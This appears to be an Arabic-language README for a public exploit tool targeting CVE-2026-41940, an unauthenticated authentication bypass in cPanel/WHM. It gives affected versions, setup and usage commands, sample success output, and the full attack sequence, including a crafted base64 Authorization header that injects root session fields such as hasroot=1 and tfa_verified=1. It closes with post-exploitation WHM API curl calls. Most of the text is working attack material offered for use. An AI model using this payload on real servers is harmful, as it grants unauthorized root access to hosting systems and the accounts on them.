
أداة استغلال بالغة الخطورة لتجاوز المصادقة في cPanel/WHM CVE-2026-41940. تستغل حقن CRLF في خدمة cpsrvd للحصول على وصول جذر إلى WHM دون بيانات اعتماد. تتضمن كشف الإصدار، تسجيلاً مفصلاً، دعم البروكسي، تقارير JSON، وتعداد الحسابات بعد الاستغلال. لأغراض اختبار الأمان المصرح به فقط.
تجاوز مصادقة حرج عبر حقن CRLF في خدمة cpsrvd الخاصة بـ cPanel/WHM
CVE-2026-41940 عبارة عن ثغرة تجاوز مصادقة حرجة في cPanel وWHM تتيح للمهاجمين عن بُعد دون مصادقة الحصول على وصول إداري كامل بصلاحيات الجذر إلى الخادم. تكمن الثغرة في معالجة الجلسات داخل خدمة
cpsrvd، وتحديدًا فيCpanel/Session.pm، حيث يؤدي التعقيم غير السليم لمحددات الأسطر (CRLF) في ملف تعريف الارتباطwhostmgrsessionوترويساتAuthorizationإلى تمكين حقن معاملات الجلسة.
| درجة CVSS | نوع الاستغلال | التأثير | متجه الهجوم |
|---|---|---|---|
| 9.8 | تجاوز المصادقة | وصول الجذر | الشبكة |
توفر هذه الأداة الميزات الرئيسية التالية:
🔓 تجاوز المصادقة - الحصول على وصول جذر إلى WHM دون بيانات اعتماد
🛡️ تقنيات تجاوز متعددة - تجربة طرق تحقق مختلفة تلقائيًا
🌐 دعم الوكيل (Proxy) - توجيه حركة المرور عبر وكلاء HTTP/HTTPS
📊 تقارير JSON - إنشاء تقارير تقييم مفصلة
📝 تسجيل شامل - وضع تصحيح مفصّل مع طوابع زمنية
🔍 اكتشاف الإصدار - اكتشاف الإصدارات المعرضة للخطر والتحقق منها تلقائيًا
👥 تعداد الحسابات - سرد جميع حسابات cPanel بعد الاستغلال
🎯 نقاط نهاية متعددة - محاولة استخدام نقاط نهاية API مختلفة للتحقق
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2026-41940 |
| درجة CVSS | 9.8 (حرجة) |
| نوع الثغرة | تجاوز المصادقة عبر حقن CRLF |
| المكوّن المتأثر | خدمة cpsrvd (Cpanel/Session.pm) |
| متجه الهجوم | الشبكة |
| التأثير | وصول كامل بصلاحيات الجذر |
| الاستغلال | عن بُعد دون مصادقة |
تنبع الثغرة من مشكلتين رئيسيتين:
حقن CRLF في تخزين الجلسة - تفشل الدالة saveSession في تعقيم أحرف السطر الجديد (\n) في حقل pass قبل الكتابة إلى ملف الجلسة، مما يسمح بحقن معاملات جلسة عشوائية.
تجاوز الترميز المشروط - عندما يفتقر ملف تعريف ارتباط الجلسة إلى الجزء ob (المقطع بعد الفاصلة)، تُكتب قيمة pass دون ترميز (نص صريح)، مما يتيح حقن تسلسلات CRLF.
| مسار الإصدار | المعرض حتى | الإصدار المُصحَّح |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| الوسيط | الاختصار | مطلوب | الوصف |
|---|---|---|---|
--target | -t | ✅ | عنوان URL الهدف (مثل: https://target.com:2087 ) |
--verbose | -v | ❌ | تمكين الإخراج المفصّل/التصحيح |
--proxy | -p | ❌ | عنوان URL للوكيل (مثل: http://127.0.0.1:8080 ) |
--output | -o | ❌ | ملف الإخراج لتقرير JSON |
--timeout | ❌ | مهلة الطلب بالثواني (الافتراضي: 10) | |
--list-accounts | -l | ❌ | سرد حسابات cPanel بعد نجاح الاستغلال |
--version | ❌ | عرض إصدار الأداة |
تحصل الأداة أولاً على ملف تعريف ارتباط لجلسة ما قبل المصادقة عبر محاولة تسجيل دخول فاشلة:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
الاستجابة:
Set-Cookie: whostmgrsession=base64_encoded_data
تقوم ترويسة Authorization المصمّمة بحقن معاملات جلسة خبيثة:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
الحمولة المفكوكة:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
يستجيب الخادم بعملية إعادة توجيه تحتوي على رمز جلسة الإدارة:
Location: /cpsess1234567890/
تحاول الأداة استخدام طرق تحقق متعددة لتأكيد وصول الجذر.
بعد نجاح الاستغلال، استخدم الأوامر التالية مع الرمز الذي تم الحصول عليه:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"